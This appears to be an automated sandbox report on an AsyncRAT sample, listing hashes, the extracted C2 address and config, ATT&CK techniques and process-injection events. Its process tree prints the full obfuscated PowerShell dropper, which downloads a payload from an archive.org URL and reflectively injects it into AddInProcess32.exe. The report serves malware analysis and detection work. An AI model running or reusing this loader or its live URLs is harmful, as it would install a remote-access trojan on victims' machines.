asyncrat | 41eb6115196af3892e27dba0a38c0376900f7d96b0e5721e4383b5e75d7379e7

General

Target

41eb6115196af3892e27dba0a38c0376900f7d96b0e5721e4383b5e75d7379e7.vbs
Size

112KB
MD5

f182482644ecb63bbc8c1dac4fa0be31
SHA1

e946d969c0f37ae9b56d4851fd1f3dfa79f3c4a9
SHA256

41eb6115196af3892e27dba0a38c0376900f7d96b0e5721e4383b5e75d7379e7
SHA512

f5e1cbe338fb5252a00068a7dcd119f91b5a8d5e766725c609e3a68f1f02c91cc4dabf70ae88457c005f8d8ef592f34336f7e087de2514d6d3b26f4cce04a60e
SSDEEP

768:aNLgVRXrFjNlww2JSTnnLIJhG/Hqgt5pDt5j2GwgvxXy7yPcbE:qqXJZ6STnLIJh8qgt5pz2GwgvxXy73Q

Score

10^/10

asyncrat klll discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

asyncrat

Version

1.0.7

Botnet

KLLL

C2

148.113.165.11:3236

Mutex

Dggx_gg

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	1248	powershell.exe
22	1248	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1940	powershell.exe
1248	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1248 set thread context of 1304	1248	powershell.exe	91

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1940	powershell.exe
1940	powershell.exe
1248	powershell.exe
1248	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1940	powershell.exe
Token: SeDebugPrivilege	1248	powershell.exe
Token: SeDebugPrivilege	1304	AddInProcess32.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2976 wrote to memory of 1940	2976	WScript.exe	84
PID 2976 wrote to memory of 1940	2976	WScript.exe	84
PID 1940 wrote to memory of 1248	1940	powershell.exe	86
PID 1940 wrote to memory of 1248	1940	powershell.exe	86
PID 1248 wrote to memory of 1304	1248	powershell.exe	91
PID 1248 wrote to memory of 1304	1248	powershell.exe	91
PID 1248 wrote to memory of 1304	1248	powershell.exe	91
PID 1248 wrote to memory of 1304	1248	powershell.exe	91
PID 1248 wrote to memory of 1304	1248	powershell.exe	91
PID 1248 wrote to memory of 1304	1248	powershell.exe	91
PID 1248 wrote to memory of 1304	1248	powershell.exe	91
PID 1248 wrote to memory of 1304	1248	powershell.exe	91

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\41eb6115196af3892e27dba0a38c0376900f7d96b0e5721e4383b5e75d7379e7.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1248
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1304

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
367b1c81198bfdcdba813c2c336627a3

SHA1
37fe6414eafaaed4abb91c1aafde62c5b688b711

SHA256
1141e163d84d5ef0038593c866647f27c55510de2147dc1578130e518a22cced

SHA512
e0493957e6602efb156d372e5e66147056f6e3c2e01996ba9b4e04f82b2b1e4c7236d0e3681dce9ab4911a62546b6a141f1ae731de6e8184e758caf120cf594b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zk0ia2hs.gyj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1248-22-0x000001BA80DB0000-0x000001BA80FBC000-memory.dmp

Filesize
2.0MB

Download
memory/1304-25-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1304-36-0x0000000005C60000-0x0000000005CC6000-memory.dmp

Filesize
408KB

Download
memory/1304-35-0x00000000061A0000-0x0000000006744000-memory.dmp

Filesize
5.6MB

Download
memory/1304-34-0x0000000005B50000-0x0000000005BEC000-memory.dmp

Filesize
624KB

Download
memory/1940-11-0x00007FF874500000-0x00007FF874FC1000-memory.dmp

Filesize
10.8MB

Download
memory/1940-24-0x00007FF874500000-0x00007FF874FC1000-memory.dmp

Filesize
10.8MB

Download
memory/1940-23-0x00007FF874503000-0x00007FF874505000-memory.dmp

Filesize
8KB

Download
memory/1940-31-0x00007FF874500000-0x00007FF874FC1000-memory.dmp

Filesize
10.8MB

Download
memory/1940-12-0x00007FF874500000-0x00007FF874FC1000-memory.dmp

Filesize
10.8MB

Download
memory/1940-0-0x00007FF874503000-0x00007FF874505000-memory.dmp

Filesize
8KB

Download
memory/1940-1-0x0000024246F60000-0x0000024246F82000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads